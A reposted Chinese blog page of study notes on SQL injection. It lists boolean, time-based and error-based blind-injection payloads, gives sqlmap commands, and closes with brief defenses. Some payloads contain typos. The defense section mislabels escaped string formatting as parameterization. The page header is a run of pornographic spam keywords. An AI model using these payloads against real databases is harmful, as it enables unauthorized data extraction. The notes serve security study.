日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御

發(fā)布時間:2024/7/23 数据库 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

第? ?21???

SQL注入的利用與防御

課程入口(付費(fèi))

個人背景

李,本科,電子信息工程專業(yè),畢業(yè)一年半,有JavaScript的,PHP,Python的語言基礎(chǔ),目前自學(xué)網(wǎng)絡(luò)安全中。

SQL注入的利用與防御

01 SQL盲注

1.1 SQL盲注概念

無法通過SQL注入在頁面返回內(nèi)容中找到所需要的數(shù)據(jù)或者用作注入成功判斷的內(nèi)容,都可以稱作SQL盲注;這里包含說即使頁面報(bào)錯,但是很可能是通用的錯誤信息,不能用于注入判斷的情況。

? ? ? ?

1.2 SQL盲注分類

按照網(wǎng)上的分類,有三種:布爾型、時間型、錯誤型。

? ? ? ?

1.3 布爾型

  • left() 函數(shù)

left(database(),1)>'s' ? ? ? ? ? ?

解析:database()顯示數(shù)據(jù)庫名稱,left(a,b)從左側(cè)截取a的前b位

  • substr()函數(shù),ascii()函數(shù)

ascii(substr((select table_name information_schema.tables wheretables_schema=database()limit 0,1),1,1))=101 --+

解析:substr(a,b,c)從b位置開始,截取字符串a(chǎn)的c長度。ascii()將某個字符轉(zhuǎn)換為ascii值

ascii(substr((select database()),1,1))=98
  • ORD()函數(shù),MID()函數(shù)

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROMsecurity.users ORDER BY id LIMIT 0,1),1,1))>98%23 ? ? ? ? ? ?

解析:MID(a,b,c)從位置b開始,截取a字符串的c位ORD()函數(shù)同ascii(),將字符轉(zhuǎn)為ascii值

  • regexp正則注入

正則注入介紹:

http://www.cnblogs.com/lcamry/articles/5717442.html

用法介紹:select user() regexp '^[a-z]';

解析:正則表達(dá)式的用法,user()結(jié)果為root,regexp為匹配root的正則表達(dá)式。

第二位可以用select user() regexp '^ro'來進(jìn)行 ??

當(dāng)正確的時候顯示結(jié)果為1,不正確的時候顯示結(jié)果為0

  • like匹配注入

和上述的正則類似,mysql在匹配的時候我們可以用ike進(jìn)行匹配。

用法:select user() like 'ro%'

1.4 時間型

  • sleep()函數(shù)

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 ?

if判斷語句,條件為假,執(zhí)行sleep,延時5秒

  • BENCHMARK(count,expr) 函數(shù)

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)FROM (select database() as current) as tb1;

BENCHMARK(count,expr)用于測試函數(shù)的性能,參數(shù)一為次數(shù),二為要執(zhí)行的表達(dá)式??梢宰尯瘮?shù)執(zhí)行若干次,返回結(jié)果比平時要長,通過時間長短的變化,判斷語句是否執(zhí)行成功。

這是一種邊信道攻擊,在運(yùn)行過程中占用大量的cpu資源。推薦使用sleep()函數(shù)進(jìn)行注入。

Mysql

BENCHMARK(100000,MD5(1)) ?or sleep(5)

Postgresql

PG_SLEEP(5) ??OR GENERATE_SERIES(1,10000)

Mssql server

WAITFOR DELAY '0:0:5'

1.5 錯誤型

select exp(~(select * FROM(SELECT USER())a)) ? ? ? ?//double數(shù)值類型超出范圍,Exp()為以e為底的對數(shù)函數(shù);版本在5.5.5及其以上

可以參考exp報(bào)錯文章:

http://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) -(ps:這是減號) ~0 ? //bigint超出范圍;~0是對0逐位取反,很大的版本在5.5.5及其以上

可以參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

extractvalue(1,concat(0x7e,(select @@version),0x7e))//mysql對xml數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù),xpath語法錯誤updatexml(1,concat(0x7e,(select @@version),0x7e),1) ? //mysql對xml數(shù)據(jù)進(jìn)行查詢和修改的xpath函數(shù),xpath語法錯誤select*from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重復(fù)特性,此處重復(fù)了version,所以報(bào)錯。

具體盲注介紹請參考:

https://www.cnblogs.com/lcamry/p/5763129.html

02 SQL MAP簡單實(shí)用

GET請求

sqlmap.py -u “http://baidu.com/cmd?id=1”

POST請求

sqlmap.py -u 'http://www.baidu.com ' --data 'id=1&search=2'

具體SQLMap請參考:

https://www.cnblogs.com/ichunqiu/p/5805108.html

https://www.fujieace.com/hacker/sqlmap-12.html

03 SQL注入防御
  • 在代碼層面,可以使用參數(shù)化語句或者強(qiáng)制數(shù)據(jù)類型,強(qiáng)制類型比較好理解,就是比如某個參數(shù)的值能確定是int,在構(gòu)建SQL語句前先強(qiáng)制int轉(zhuǎn)換類型,而參數(shù)化的話比如PHP中的參數(shù)化可以這樣寫:

$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($con,$id));

$result=mysqli_query($con,$query);

  • 使用黑白名單進(jìn)行輸入驗(yàn)證,對用戶提交內(nèi)容進(jìn)行驗(yàn)證,比如針對特殊關(guān)鍵詞,比如union可以列入黑名單,一旦發(fā)現(xiàn)則認(rèn)定為攻擊請求,直接屏蔽。有一些語言有自帶這樣的驗(yàn)證用的安全方法可以直接調(diào)用,或者用一些外部的安全框架和API也是可以的,比如之前的章節(jié)內(nèi)容提到的OWASP的ESAPI。

  • 可以使用WAF產(chǎn)品,不過其實(shí)這個方法對Web漏洞是通用。

0

下期更新筆記內(nèi)容:

常見WEB漏洞:文件上傳 第一節(jié)?

總結(jié)

以上是生活随笔為你收集整理的sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。